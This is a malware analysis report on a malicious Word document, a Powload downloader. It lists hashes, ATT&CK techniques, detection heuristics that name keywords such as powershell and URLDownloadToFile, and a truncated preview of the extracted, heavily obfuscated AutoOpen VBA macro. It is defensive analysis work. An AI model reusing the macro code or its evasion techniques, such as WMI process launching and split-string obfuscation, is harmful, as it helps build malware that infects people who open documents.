Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40121175d7fe805e…

MALICIOUS

Office (OLE)

146.9 KB Created: 2019-04-26 10:18:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: e4aa43f4cdc17acb0551fba051e4e8d3 SHA-1: 7b058df655906ac894c366db3e40fa9a02b1287e SHA-256: 40121175d7fe805e2ea631b67816f3654435477eded7315895dccc5643be856e
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon opening the document. The macro utilizes GetObject and CreateObject to launch the Win32_Process via WMI, indicated by the obfuscated string 'winmgmts'. This suggests the macro's primary function is to download and execute a second-stage payload. ClamAV detection further supports its malicious nature.

Heuristics 9

  • ClamAV: Doc.Downloader.Powload-6956387-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6956387-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39894 bytes
SHA-256: 246a7e5cdf3247502ab423bfe09caf7e8d84214a4328b40d78cc0ea479195c61
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aAAAAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "icAA_w"
Attribute VB_Base = "0{7E964430-B36F-4355-A576-1357E3A7214C}{CD71AD1D-215C-4B9E-8921-85784A302933}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "JBAAZDDc"
Attribute VB_Base = "0{46C3AACE-DA25-4E6D-A7C1-AB08B5554C8D}{07550841-0E8D-45D0-AE62-0FA8CB42C482}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "M4wAAxA"
Sub autoopen()
   If sAAoAA = wCAXw4x Then
ElseIf AAA1X1X_ _
= WoCAAG Then
            vo4AXQ = Cos( _
570785332)
ElseIf bDcAQk = GCCG4AAk Then
            ncQoZ_QD _
= Hex(29643070)
ElseIf woABkGD = tQ4BAAQU Then
            IZBUAUAA = Atn( _
606233712)
ElseIf YDx_XAwB = EAGCcDC Then
End If
   If CCUDoAx = NGoZAGQx Then
ElseIf rBUQXoA _
= SA__Q_oA Then
            OAABAAkx = Cos( _
95073788)
ElseIf dABC4cAU = DUAwAA Then
            BBx1DUB _
= Hex(190437525)
ElseIf hDoAACQ = aCZAACA Then
            R4DkAG = Atn( _
58868310)
ElseIf OXAkUwxA = RZDAUX Then
End If
   If nD_ABA = RQZAcxA Then
ElseIf UcXwUAc _
= dBAAAX Then
            KGCGwcc = Cos( _
111722300)
ElseIf MQAAAwAX = qAA_kQXA Then
            VAABAcAo _
= Hex(184660667)
ElseIf EAcAcB = wAcDB4AA Then
            iACoDDA = Atn( _
480281637)
ElseIf ro_cBA = TUkcGAA Then
End If
pDAAXBX_
   If kAC1AQ = GAAQABBC Then
ElseIf fAA_QQ4 _
= YAQAXQA Then
            kDAAAU = Cos( _
768642623)
ElseIf tGDoAU = oAwQXUk1 Then
            ixcxUQBA _
= Hex(829214111)
ElseIf XAUXAUCU = GUZcAQ Then
            iA4AUX = Atn( _
366186135)
ElseIf wQ1ABZcA = f_cXAU4 Then
End If
   If QBCxUAAA = cCQGcADA Then
ElseIf XADQZBA _
= UoAcBZ Then
            jABD1B11 = Cos( _
564843560)
ElseIf BcBDGCQ = IQAU4DQ Then
            zUXoAA _
= Hex(66099807)
ElseIf HXA_Aw = KBQAx1w Then
            EA_QwDXX = Atn( _
614404618)
ElseIf IAB1kA = XG44GD Then
End If
   If GBcADA = DUADoZQ Then
ElseIf lBkAAXAQ _
= UwBwBk Then
            DUAAAA_w = Cos( _
995720969)
ElseIf XZCAUDA = sUA1DB Then
            aAcCDB _
= Hex(483833932)
ElseIf zAAAxX = OGAAXA4 Then
            qGQ_UAw = Atn( _
279807497)
ElseIf JAAG_Awk = vAwZADAG Then
End If
End Sub
Function PDAxBDAA(QDABCXZZ)
   If ZkQ_DADD = kBGcA1Z Then
ElseIf ExAABAA _
= tUUXAX Then
            oBQDUQD = Cos( _
161263381)
ElseIf NAoxo1c = DBCAGZx_ Then
            bBZAoZ _
= Hex(670992685)
ElseIf j_AkCZX = sZkXAw Then
            rAkBUAD = Atn( _
935405269)
ElseIf nAxZw4AA = lcA_4AAw Then
End If
   If zZUk_AA = pAACAk Then
ElseIf GwAcwA _
= bBAD1Ax4 Then
            MwZCAA = Cos( _
506355628)
ElseIf DAXACU = qAUQAADC Then
            qAcU_ABB _
= Hex(128806754)
ElseIf wX_AAA = PUABAw Then
            QcAkcD = Atn( _
654981554)
ElseIf MD1QAD4D = HAkwAAAo Then
End If
Set PDAxBDAA = CVar(QDABCXZZ)
   If MU_AAwc = GDxXZAx Then
ElseIf mAAooAA _
= XDkBZkUA Then
            wQQQx4C = Cos( _
667132668)
ElseIf l4U44Dx = bAAAAQx Then
            iAQAcQ _
= Hex(459941462)
ElseIf Sk1A_DXD = awkDAAU Then
            EDxxDUD = Atn( _
459334262)
ElseIf jAAAUGk = sDAAUAc Then
End If
   If dAXA1oAA = PA_GAwBA Then
ElseIf wAcoAUU _
= zx1AUAC Then
            uQBo1DQ = Cos( _
262416207)
ElseIf jAXAc1 = DAAo_CAx Then
            cAowQD _
= Hex(373808447)
ElseIf EZ4D_AD_ = w1CQxoAA Then
            fBAUZU = Atn( _
834539781)
ElseIf VAUAUAA = zAU_AwAU Then
End If
   If TBA_BAo = BADQoCA_ Then
ElseIf Z1AA_1 _
= hZCkXw Then
            vwAxwA = Cos( _
403760706)
Els
... (truncated)

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